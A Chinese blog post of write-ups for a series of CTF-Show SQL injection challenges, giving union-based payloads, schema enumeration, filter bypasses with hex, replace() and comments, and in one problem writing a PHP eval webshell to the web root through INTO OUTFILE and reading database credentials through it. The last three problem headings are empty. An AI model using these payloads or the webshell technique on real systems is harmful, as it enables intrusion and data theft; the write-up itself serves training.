CTF-Show-SQL注入系列

CTF-Show-SQL注入系列

Problem 1

思路1-information_schema有据查询

根据如下SQL语句:

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

我们输入id,就可以查询到用户。

注意:这里一定要考虑一下符号闭合的问题!

尝试进行sql注入

-1"' union select 1,2,3--+ 

回显1,2,3

-1"' union select database(),version(),user()--+

回显 ctfshow_web 10.3.18-MariaDB root@localhost

-1"' union select 1,TABLE_NAME,3 from information_schema.TABLES where TABLE_SCHEMA='ctfshow_web'--+

回显 ctfshow_user

-1"' union select 1,COLUMN_NAME,3 from information_schema.COLUMNS where TABLE_SCHEMA='ctfshow_web' and TABLE_NAME='ctfshow_user'--+

回显 id username password

-1"' union select id,username,password from ctfshow_user--+

回显flag:ctfshow{9e8772ce-74f4-4fa5-8ccc-65471534c602}

思路2-猜测id

payload:

9999' or id = '26

拼接后的SQL语句:$sql = "select username,password from user where username !='flag' and id = '9999' or id='26' limit 1;";

Problem 2

思路

题目中的sql语句如下:

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

使用上一题的payload,发现不行。

查看提示:

//检查结果是否有flag
if($row->username!=='flag'){
    $ret['msg']='查询成功';
}

换句话来说,当username字段的值不为flag时,才可以进行显示。

我们可以使用联合查询。尝试在本地执行如下sql语句。(本地库和表我们可以按照题目中来模仿搭建)

select username,password from user where username !='flag' and id = '9999' union select username,password from user where username='flag' limit 1;

img

发现可以正常执行,但是题目要求username字段不能等于flag。

我们再次尝试执行如下sql语句

select username,password from user where username !='flag' and id = '9999' union select 1,password from user where username='flag' limit 1;

img

我们将flag替换成1,那么就绕过了。

注:本人在做题的时候,本地和远程的表名是不一样的。

payload:

9999' union select 1,password from ctfshow_user2 where username='flag

得到flag。

img

Problem 3

思路

img

这道题和上一道题区别在于:

  • flag不区分大小写都会过滤。
  • 查询的字段由两个->三个
  • 表名有了变化

我们使用上一道题的payload略微修改即可。

payload:

9999' union select 1,2,password from ctfshow_user3 where username='flag

img

注:这题也可以对id和username字段的值采用十六进制绕过

payload:

9999' union select id,hex(username),password from ctfshow_user3 where username='flag

img

Problem 4

img

这道题在上一道题的基础上过滤了0-9数字

我们可以采用mysql中的replace函数绕过,将0-9数字替换成不同的字符,从而绕过。

flag是包含数字的,因此我们需要将flag中的数字进行替换,从而将flag显示出来。

payload:

-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','('),'0',')') from ctfshow_user4 where username='flag

1=>!
2=>@
3=>#
4=>$
5=>%
6=>^
7=>&
8=>*
9=>(
10=>)

在本地尝试执行:

select username,password from user where username !='flag' and id = '-1' union select 'A',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','!'),'2','@'),'3','#'),'4','$'),'5','%'),'6','^'),'7','&'),'8','*'),'9','('),'0',')') from user where username='flag' limit 1;

发现在本地执行成功

img

将上述payload放在远端执行,burp抓包,进行url编码,填入id参数中

img

得到flag

ctfshow{*ceb^**c-$*d!-$#)(-af@c-ae!*^)!$!*cf}

进行替换,得到flag。

ctfshow{8ceb688c-48d1-4309-af2c-ae18601418cf}

Problem 5

思路

img

相比于上一题,过滤更加严苛。ascii编码全部都被禁掉了。

那么我们可以考虑不通过这种方式来回显flag,看看可不可以写一个webshell呢?

payload:

9999' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/shell.php

将全部的payload,进行url编码

9999%27%20union%20select%201%2C%22%3C%3Fphp%20eval%28%24_POST%5B1%5D%29%3B%3F%3E%22%20into%20outfile%20%27%2Fvar%2Fwww%2Fhtml%2Fshell.php

代表已经成功写入:

img

使用蚁剑进行连接

img

我们使用如下方式来获取数据库账号和密码

img

访问当前网站目录下的api目录下的config.php

得到账号为root,密码为root

使用蚁剑打开数据操作:

img

得到flag

img

Problem 6

思路

相比于之前题目,SQL语句没有变化,直接注入如下语句:

-1' or id='26 或 -1' or username='flag

得到flag

img

Problem 7

前置知识

我们发现,sql语句中字段加反引号可以代替空格,得到的结果一样正确

select`id`from user;  等价于 select id from user;

思路

这道题相比于上一道题,过滤了空格。我们可以注入如下语句:

9999'/**/or/**/username='flag  => 空格使用注释绕过

得到flag

img

当然,我们也可以注入如下语句:

9999'/**/union/**/select/**/`id`,`username`,`password`from`ctfshow_user`where`username`='flag

img

Problem 8

Problem 9

Problem 10

posted @   夏目^_^  阅读(208)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现
点击右上角即可分享
微信分享提示